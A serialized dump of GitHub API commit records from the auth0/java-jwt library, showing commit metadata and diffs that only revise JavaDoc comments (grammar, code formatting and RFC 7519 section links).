Andreas Rigasemailandreas.rigas@outlook.comdate2022-12-10T01:40:35Zu	committer}(j  
Andreas Rigasj  andreas.rigas@outlook.comj  2022-12-10T01:40:35Zumessageremove extra spacetree}(j  (c35473d4110f10b70af2cf523c0f34434b3e439durl^https://api.github.com/repos/auth0/java-jwt/git/trees/c35473d4110f10b70af2cf523c0f34434b3e439duj  `https://api.github.com/repos/auth0/java-jwt/git/commits/8c3f5c78f14f2285134b28eb642d0e255dfb6bda
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj  \https://api.github.com/repos/auth0/java-jwt/commits/8c3f5c78f14f2285134b28eb642d0e255dfb6bdahtml_urlQhttps://github.com/auth0/java-jwt/commit/8c3f5c78f14f2285134b28eb642d0e255dfb6bdacomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8c3f5c78f14f2285134b28eb642d0e255dfb6bda/commentsj  }(loginandrewrigasidJj  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3j  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminuj  }(j  andrewrigasj  Jj  MDQ6VXNlcjQ4Mjk2NDcxj  4https://avatars.githubusercontent.com/u/48296471?v=4j  h3j  (https://api.github.com/users/andrewrigasj  https://github.com/andrewrigasj  2https://api.github.com/users/andrewrigas/followersj   ?https://api.github.com/users/andrewrigas/following{/other_user}j"  8https://api.github.com/users/andrewrigas/gists{/gist_id}j$  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j&  6https://api.github.com/users/andrewrigas/subscriptionsj(  -https://api.github.com/users/andrewrigas/orgsj*  .https://api.github.com/users/andrewrigas/reposj,  9https://api.github.com/users/andrewrigas/events{/privacy}j.  8https://api.github.com/users/andrewrigas/received_eventsj0  Userj2  uparents]}(j  (3a531a301b3779118d93f9a2ab44755ace02b293j  \https://api.github.com/repos/auth0/java-jwt/commits/3a531a301b3779118d93f9a2ab44755ace02b293j  Qhttps://github.com/auth0/java-jwt/commit/3a531a301b3779118d93f9a2ab44755ace02b293uastats}(totalK	additionsK	deletionsKufiles]}(j  (2deff94d0fd6bd5da3788cb1f114ed31685f7070filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedjL  KjM  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/8c3f5c78f14f2285134b28eb642d0e255dfb6bda/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/8c3f5c78f14f2285134b28eb642d0e255dfb6bda/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=8c3f5c78f14f2285134b28eb642d0e255dfb6bdapatchX  @@ -100,7 +100,7 @@ public Builder withHeader(Map<String, Object> headerClaims) {
          * If provided json is null then nothing is changed
          *
          * @param headerClaimsJson the values to use as Claims in the token's Header.
-         * @throws JsonProcessingException  if json value has invalid structure
+         * @throws JsonProcessingException if json value has invalid structure
          * @return this same Builder instance.
          */
         public Builder withHeader(String headerClaimsJson) throws JsonProcessingException {
@@ -494,7 +494,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
          * @return this same Builder instance.
          * @throws IllegalArgumentException if any of the claim keys or null,
          *                                  or if the values are not of a supported type.
-         * @throws JsonProcessingException  if json value has invalid structure
+         * @throws JsonProcessingException if json value has invalid structure
          */
         public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentException, JsonProcessingException {
             if (payloadClaimsJson == null) {uau(6c4ea9ed04cfe7a1c178d74dff72949a4e45e628}(sha(6c4ea9ed04cfe7a1c178d74dff72949a4e45e628node_idEC_kwDOAQtL0doAKDZjNGVhOWVkMDRjZmU3YTFjMTc4ZDc0ZGZmNzI5NDlhNGU0NWU2Mjgcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-21T16:02:30Zu	committer}(ji  GitHubjk  noreply@github.comjm  2022-04-21T16:02:30ZumessageOMerge pull request #577 from auth0/update-java-docs

[SDK-3159] JavaDoc updatedtree}(ja  (cb7d43ed3a08c2bc5fc9cc918d7d782a2534753eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/cb7d43ed3a08c2bc5fc9cc918d7d782a2534753eujy  `https://api.github.com/repos/auth0/java-jwt/git/commits/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiYYAWCRBK7hj4Ov3rIwAAgzQIACRcr8RLJWPG/SNcYLBsZcAF
gBlRdqttO0MNijCQ3RMtsOiY3DdQDhINt85jzHGC1LL1C+N9KuIZDX3yLLap2qKN
7OaWGugIrc3NwWfpS9BtNcMMDHk9zeL3BANrlei8j0pLmW/PnRQHaYnq4HwBUTm7
6hh+qcodLeVR6ikO5JkJQvFlEDo6ckdOKpEKinMUdaJjhH73tfK66ylnCEd+0YMt
GkWgTtjocD39vpcBZG1BS6qq4UpRYytad8DB8uT6MwQa+GIamF5dAqBaH02h0OYT
q2081qAsFoKQ3Dna+L5F5Sok0RQjNBRKtTzD+3iEbvMOW+tzlCuiFwfgDPPIPPM=
=/0UB
-----END PGP SIGNATURE-----

      payloadXQ  tree cb7d43ed3a08c2bc5fc9cc918d7d782a2534753e
parent 2d0f7bc7801f2b7e3118663fe5a43eb9b557f074
parent 3f939842f1d0c6c393b9fd6d2365fa2e45d986cc
author Poovamraj T T <poovamraj@gmail.com> 1650556950 +0530
committer GitHub <noreply@github.com> 1650556950 +0530

Merge pull request #577 from auth0/update-java-docs

[SDK-3159] JavaDoc updateduujy  \https://api.github.com/repos/auth0/java-jwt/commits/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628html_urlQhttps://github.com/auth0/java-jwt/commit/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/commentsjg  }(login	poovamrajidJ jc  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jy  &https://api.github.com/users/poovamrajj  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujo  }(j  web-flowj  J/jc  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jy  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(ja  (2d0f7bc7801f2b7e3118663fe5a43eb9b557f074jy  \https://api.github.com/repos/auth0/java-jwt/commits/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074j  Qhttps://github.com/auth0/java-jwt/commit/2d0f7bc7801f2b7e3118663fe5a43eb9b557f074u}(ja  (3f939842f1d0c6c393b9fd6d2365fa2e45d986ccjy  \https://api.github.com/repos/auth0/java-jwt/commits/3f939842f1d0c6c393b9fd6d2365fa2e45d986ccj  Qhttps://github.com/auth0/java-jwt/commit/3f939842f1d0c6c393b9fd6d2365fa2e45d986ccuestats}(totalK	additionsKX	deletionsK\ufiles](}(ja  (7af3c442102b4fda2ada66bf39944161415af03ffilename1lib/src/main/java/com/auth0/jwt/HeaderParams.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaraw_urlhttps://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628patchXh  @@ -13,12 +13,12 @@ private HeaderParams() {}
     public static String ALGORITHM = "alg";
 
     /**
-     * The content type of a JWT.
+     * The content type of the JWT.
      */
     public static String CONTENT_TYPE = "cty";
 
     /**
-     * The media type of a JWT.
+     * The media type of the JWT.
      */
     public static String TYPE = "typ";
 u}(ja  (696abe4001c80b35a3c06626aa1bb4e2a6dbfab2j  (lib/src/main/java/com/auth0/jwt/JWT.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X  @@ -26,7 +26,7 @@ public JWT() {
      * Decode a given Json Web Token.
      * <p>
      * Note that this method <b>doesn't verify the token's signature!</b>
-     * Use it only if you trust the token or you already verified it.
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
@@ -41,7 +41,7 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
      * Decode a given Json Web Token.
      * <p>
      * Note that this method <b>doesn't verify the token's signature!</b>
-     * Use it only if you trust the token or you already verified it.
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
@@ -53,10 +53,10 @@ public static DecodedJWT decode(String token) throws JWTDecodeException {
     }
 
     /**
-     * Returns a {@link JWTVerifier} builder with the algorithm to be used to validate token signature.
+     * Returns a {@link Verification} builder with the algorithm to be used to validate token signature.
      *
      * @param algorithm that will be used to verify the token's signature.
-     * @return {@link JWTVerifier} builder
+     * @return {@link Verification} builder
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     public static Verification require(Algorithm algorithm) {u}(ja  (0bc17fb195e45ed7da8c026fcf3143faf0895005j  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X  @@ -35,10 +35,10 @@ public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     }
 
     /**
-     * Initialize a JWTVerifier instance using the given Algorithm.
+     * Initialize a {@link Verification} instance using the given Algorithm.
      *
      * @param algorithm the Algorithm to use on the JWT verification.
-     * @return a JWTVerifier.Verification instance to configure.
+     * @return a {@link Verification} instance to configure.
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     static Verification init(Algorithm algorithm) throws IllegalArgumentException {u}(ja  (8c47eb51b2c01d309aaa21a2dfb265d86d3409b0j  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javaj  modifiedj  Kj  Kj  K	j  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X%	  @@ -1,7 +1,7 @@
 package com.auth0.jwt;
 
 /**
- * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1.1 of
+ * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1 of
  * <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7529</a>
  */
 public final class RegisteredClaims {
@@ -11,37 +11,44 @@ private RegisteredClaims() {
 
     /**
      * The "iss" (issuer) claim identifies the principal that issued the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
      */
     public static String ISSUER = "iss";
 
     /**
      * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
      */
     public static String SUBJECT = "sub";
 
     /**
      * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
      */
     public static String AUDIENCE = "aud";
 
     /**
      * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
      * accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
      */
     public static String EXPIRES_AT = "exp";
 
     /**
      * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
      */
     public static String NOT_BEFORE = "nbf";
 
     /**
      * The "iat" (issued at) claim identifies the time at which the JWT was issued.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
      */
     public static String ISSUED_AT = "iat";
 
     /**
      * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
      */
     public static String JWT_ID = "jti";
 u}(ja  (24fe37b797291d232f76e63e5015240f36d26f60j  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj  modifiedj  K j  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X  @@ -34,8 +34,6 @@ protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) th
      * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
      * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
      */
-
-    //
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());u}(ja  (7c4da4f7f48b03fbd0308c94d860bd9fe175b4aaj  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javaj  modifiedj  K
j  K
j  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X  @@ -22,63 +22,63 @@ public interface Claim {
 
     /**
      * Can be used to verify whether the Claim is found or not.
-     * This will be true even if the Claim has null value associated to it.
+     * This will be true even if the Claim has {@code null} value associated to it.
      *
      * @return whether this Claim is present or not
      */
     boolean isMissing();
 
     /**
      * Get this Claim as a Boolean.
-     * If the value isn't of type Boolean or it can't be converted to a Boolean, null will be returned.
+     * If the value isn't of type Boolean or it can't be converted to a Boolean, {@code null} will be returned.
      *
      * @return the value as a Boolean or null.
      */
     Boolean asBoolean();
 
     /**
      * Get this Claim as an Integer.
-     * If the value isn't of type Integer or it can't be converted to an Integer, null will be returned.
+     * If the value isn't of type Integer or it can't be converted to an Integer, {@code null} will be returned.
      *
      * @return the value as an Integer or null.
      */
     Integer asInt();
 
     /**
      * Get this Claim as an Long.
-     * If the value isn't of type Long or it can't be converted to an Long, null will be returned.
+     * If the value isn't of type Long or it can't be converted to a Long, {@code null} will be returned.
      *
      * @return the value as an Long or null.
      */
     Long asLong();
 
     /**
      * Get this Claim as a Double.
-     * If the value isn't of type Double or it can't be converted to a Double, null will be returned.
+     * If the value isn't of type Double or it can't be converted to a Double, {@code null} will be returned.
      *
      * @return the value as a Double or null.
      */
     Double asDouble();
 
     /**
      * Get this Claim as a String.
-     * If the value isn't of type String or it can't be converted to a String, null will be returned.
+     * If the value isn't of type String or it can't be converted to a String, {@code null} will be returned.
      *
      * @return the value as a String or null.
      */
     String asString();
 
     /**
      * Get this Claim as a Date.
-     * If the value can't be converted to a Date, null will be returned.
+     * If the value can't be converted to a Date, {@code null} will be returned.
      *
      * @return the value as a Date or null.
      */
     Date asDate();
 
     /**
      * Get this Claim as an Instant.
-     * If the value can't be converted to an Instant, null will be returned.
+     * If the value can't be converted to an Instant, {@code null} will be returned.
      *
      * @return the value as a Date or null.
      */
@@ -89,7 +89,7 @@ default Instant asInstant() {
 
     /**
      * Get this Claim as an Array of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
      *
      * @param <T> type
      * @param clazz the type class
@@ -100,7 +100,7 @@ default Instant asInstant() {
 
     /**
      * Get this Claim as a List of type T.
-     * If the value isn't an Array, null will be returned.
+     * If the value isn't an Array, {@code null} will be returned.
      *
      * @param <T> type
      * @param clazz the type classu}(ja  (52b3ba563217cb3f699802c797b48fefc111a327j  6lib/src/main/java/com/auth0/jwt/interfaces/Header.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FHeader.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X  @@ -1,7 +1,7 @@
 package com.auth0.jwt.interfaces;
 
 /**
- * The Header class represents the 1st part of the JWT, where the Header value is hold.
+ * The Header class represents the 1st part of the JWT, where the Header value is held.
  */
 public interface Header {
 
@@ -35,7 +35,7 @@ public interface Header {
 
     /**
      * Get a Private Claim given it's name. If the Claim wasn't specified in the Header, a 'null claim' will be
-     * returned. All of the methods of that claim will return {@code null}.
+     * returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(ja  (33cd0d709b9180e86ced111a663c5dfb4ff78efej  >lib/src/main/java/com/auth0/jwt/interfaces/JWTPartsParser.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTPartsParser.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  XI  @@ -4,12 +4,12 @@
 
 /**
  * The JWTPartsParser class defines which parts of the JWT should be converted
- * to it's specific Object representation instance.
+ * to its specific Object representation instance.
  */
 public interface JWTPartsParser {
 
     /**
-     * Parses the given JSON into a Payload instance.
+     * Parses the given JSON into a {@link Payload} instance.
      *
      * @param json the content of the Payload in a JSON representation.
      * @return the Payload.
@@ -18,7 +18,7 @@ public interface JWTPartsParser {
     Payload parsePayload(String json) throws JWTDecodeException;
 
     /**
-     * Parses the given JSON into a Header instance.
+     * Parses the given JSON into a {@link Header} instance.
      *
      * @param json the content of the Header in a JSON representation.
      * @return the Header.u}(ja  (b7030a97b485a1e1a45128cf60e2a1ebfffaee54j  ;lib/src/main/java/com/auth0/jwt/interfaces/JWTVerifier.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FJWTVerifier.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X  @@ -4,7 +4,7 @@
 
 
 /**
- * Used to verify the JWT for it's signature and claims.
+ * Used to verify the JWT for its signature and claims.
  */
 public interface JWTVerifier {
 
@@ -18,7 +18,7 @@ public interface JWTVerifier {
     DecodedJWT verify(String token) throws JWTVerificationException;
 
     /**
-     * Performs the verification against the given decoded JWT.
+     * Performs the verification against the given {@link DecodedJWT}.
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.u}(ja  (30a144a6b96d62db6ba9dfc908900a5ddfc8862dj  ;lib/src/main/java/com/auth0/jwt/interfaces/KeyProvider.javaj  modifiedj  Kj  K j  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FKeyProvider.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X!  @@ -5,6 +5,7 @@
 
 /**
  * Generic Public/Private Key provider.
+ * While implementing, ensure the Private Key and Private Key ID doesn't change in between signing a token.
  *
  * @param <U> the class that represents the Public Key
  * @param <R> the class that represents the Private Keyu}(ja  (feb58c64ad6b7e63d75ae8986a17520a7e4c39aej  7lib/src/main/java/com/auth0/jwt/interfaces/Payload.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FPayload.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X,  @@ -6,7 +6,7 @@
 import java.util.Map;
 
 /**
- * The Payload class represents the 2nd part of the JWT, where the Payload value is hold.
+ * The Payload class represents the 2nd part of the JWT, where the Payload value is held.
  */
 public interface Payload {
 
@@ -87,8 +87,8 @@ default Instant getIssuedAtAsInstant() {
     String getId();
 
     /**
-     * Get a Claim given it's name. If the Claim wasn't specified in the Payload, a 'null claim'
-     * will be returned. All of the methods of that claim will return {@code null}.
+     * Get a Claim given its name. If the Claim wasn't specified in the Payload, a 'null claim'
+     * will be returned. All the methods of that claim will return {@code null}.
      *
      * @param name the name of the Claim to retrieve.
      * @return a non-null Claim.u}(ja  (4a8a0f8408a3f968e59f987f557d03582e6f8144j  <lib/src/main/java/com/auth0/jwt/interfaces/Verification.javaj  modifiedj  K.j  K6j  Kdj  https://github.com/auth0/java-jwt/blob/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://github.com/auth0/java-jwt/raw/6c4ea9ed04cfe7a1c178d74dff72949a4e45e628/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FVerification.java?ref=6c4ea9ed04cfe7a1c178d74dff72949a4e45e628j  X0/  @@ -7,12 +7,13 @@
 import java.util.function.BiPredicate;
 
 /**
- * Holds the Claims and claim-based configurations required for a JWT to be considered valid.
+ * Constructs and holds the checks required for a JWT to be considered valid.
  */
 public interface Verification {
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param issuer the required Issuer value.
      * @return this same Verification instance.
@@ -22,52 +23,40 @@ default Verification withIssuer(String issuer) {
     }
 
     /**
-     * Require a specific Issuer ("iss") claim.
+     * Verifies whether the JWT contains an Issuer ("iss") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param issuer the required Issuer value. If multiple values are given, the claim must at least match one of them
      * @return this same Verification instance.
      */
     Verification withIssuer(String... issuer);
 
     /**
-     * Require a specific Subject ("sub") claim.
+     * Verifies whether the JWT contains a Subject ("sub") claim that equals to the value provided.
+     * This check is case-sensitive.
      *
      * @param subject the required Subject value
      * @return this same Verification instance.
      */
     Verification withSubject(String subject);
 
     /**
-     * Require a specific Audience ("aud") claim. If multiple audiences are specified, they must all be present
-     * in the "aud" claim.
-     *
-     * If this is used in conjunction with {@link #withAnyOfAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
+     * Verifies whether the JWT contains an Audience ("aud") claim that contains all the values provided.
+     * This check is case-sensitive. An empty array is considered as a {@code null}.
      *
      * @param audience the required Audience value
      * @return this same Verification instance.
      */
     Verification withAudience(String... audience);
 
     /**
-     * Require that the Audience ("aud") claim contain at least one of the specified audiences.
-     *
-     * If this is used in conjunction with {@link #withAudience(String...)}, whichever one is configured last will
-     * determine the audience validation behavior.
-     *
-     * Note: This method was added after the interface was released.
-     * It is defined as a default method for compatibility reasons.
